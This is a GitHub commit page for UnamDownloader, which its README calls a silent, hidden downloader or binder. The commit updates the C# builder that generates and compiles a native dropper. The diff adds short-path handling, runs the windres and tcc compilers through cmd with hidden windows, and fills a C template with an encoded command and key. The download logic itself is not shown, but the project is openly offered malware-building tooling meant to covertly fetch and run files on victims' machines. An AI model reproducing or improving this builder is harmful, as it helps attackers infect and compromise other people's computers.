Skip to content

Commit

Permalink
Updated to v1.4.1
Browse files Browse the repository at this point in the history
* Worked around windres limitation of not supporting spaces in file paths
  • Loading branch information
UnamSanctam committed Sep 12, 2021
1 parent 714c707 commit a791569
Show file tree
Hide file tree
Showing 5 changed files with 37 additions and 11 deletions.
2 changes: 2 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
### v1.4.1 (12/09/2021)
* Worked around windres limitation of not supporting spaces in file paths
### v1.4.0 (12/09/2021)
* Added new custom minimal MinGW64 windres resource compiler
* Added new Icon and Assembly Data options using the new resource compiler
Expand Down
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://github.com/UnamSanctam/UnamDownloader/blob/master/UnamDownloader.png?raw=true">

# UnamDownloader 1.4.0 - A free silent downloader
# UnamDownloader 1.4.1 - A free silent downloader

A free silent (hidden) open-source downloader (binder) that can be built as a native C file. A downloader is essentially the same as a binder although it downloads the files instead of storing them in memory, you can also see my [UnamBinder](https://github.com/UnamSanctam/UnamBinder) for a normal file binder.

Expand All @@ -26,6 +26,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamDownloader/wiki)

## Changelog

### v1.4.1 (12/09/2021)
* Worked around windres limitation of not supporting spaces in file paths
### v1.4.0 (12/09/2021)
* Added new custom minimal MinGW64 windres resource compiler
* Added new Icon and Assembly Data options using the new resource compiler
Expand Down
4 changes: 2 additions & 2 deletions UnamDownloader/Builder.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

38 changes: 30 additions & 8 deletions UnamDownloader/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;

Expand All @@ -17,6 +18,8 @@ public partial class Builder : Form
private static Random random = new Random();
public Vanity vanity = new Vanity();

public static int MAX_PATH = 255;

public Builder()
{
InitializeComponent();
Expand All @@ -25,9 +28,15 @@ public Builder()
public void NativeCompiler(string savePath)
{
string currentDirectory = Path.GetDirectoryName(savePath);
string filename = Path.GetFileNameWithoutExtension(savePath) + ".c";

string compilerDirectory = Path.Combine(currentDirectory, "Compiler");
string filename = Path.GetFileName(savePath);

if (compilerDirectory.Length > MAX_PATH)
{
MessageBox.Show(string.Format("Error: Path \"{0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in.", compilerDirectory, MAX_PATH));
return;
}

if (!Directory.Exists(compilerDirectory))
{
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
Expand All @@ -40,6 +49,8 @@ public void NativeCompiler(string savePath)
}
}

string compilerDirectoryShort = ShortPath(compilerDirectory);

StringBuilder sb = new StringBuilder(Properties.Resources.Program1);

bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
Expand Down Expand Up @@ -73,8 +84,8 @@ public void NativeCompiler(string savePath)

Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(compilerDirectory, "MinGW64\\bin\\windres.exe"),
Arguments = "--input resource.rc --output resource.o -O coff -F pe-i386 " + defs,
FileName = "cmd",
Arguments = string.Format("cmd /c \"{0}\" --input resource.rc --output resource.o -O coff -F pe-i386 {1}", compilerDirectoryShort + "\\MinGW64\\bin\\windres.exe", defs),
WorkingDirectory = currentDirectory,
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();
Expand All @@ -88,17 +99,18 @@ public void NativeCompiler(string savePath)
sb.Replace("#LENGTH", command.Length.ToString());
sb.Replace("#KEY", key);

System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), sb.ToString());
System.IO.File.WriteAllText(Path.Combine(currentDirectory, "program.c"), sb.ToString());
Process.Start(new ProcessStartInfo
{
FileName = Path.Combine(compilerDirectory, "tinycc\\tcc.exe"),
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (buildResource ? "resource.o" : "") + " -luser32 -m32",
FileName = "cmd",
Arguments = string.Format("cmd /c \"{0}\" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32", compilerDirectoryShort + "\\tinycc\\tcc.exe", buildResource ? "resource.o" : ""),
WorkingDirectory = currentDirectory,
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();

System.IO.File.Delete(Path.Combine(currentDirectory, "resource.o"));
System.IO.File.Delete(Path.Combine(currentDirectory, filename));
System.IO.File.Delete(Path.Combine(currentDirectory, "program.c"));
System.IO.File.Move(Path.Combine(currentDirectory, "program.exe"), Path.Combine(currentDirectory, filename));
}

public string CreateCommand()
Expand Down Expand Up @@ -165,6 +177,16 @@ private static string ToLiteral(string input)
return literal.ToString();
}

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPWStr)]string path, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder shortPath, int shortPathLength);

private static string ShortPath(string path)
{
var shortPath = new StringBuilder(MAX_PATH);
GetShortPathName(path, shortPath, MAX_PATH);
return shortPath.ToString();
}

public string SaveDialog(string filter)
{
SaveFileDialog dialog = new SaveFileDialog();
Expand Down
Binary file modified UnamDownloader/Resources/MinGW64.zip
Binary file not shown.

0 comments on commit a791569

Please sign in to comment.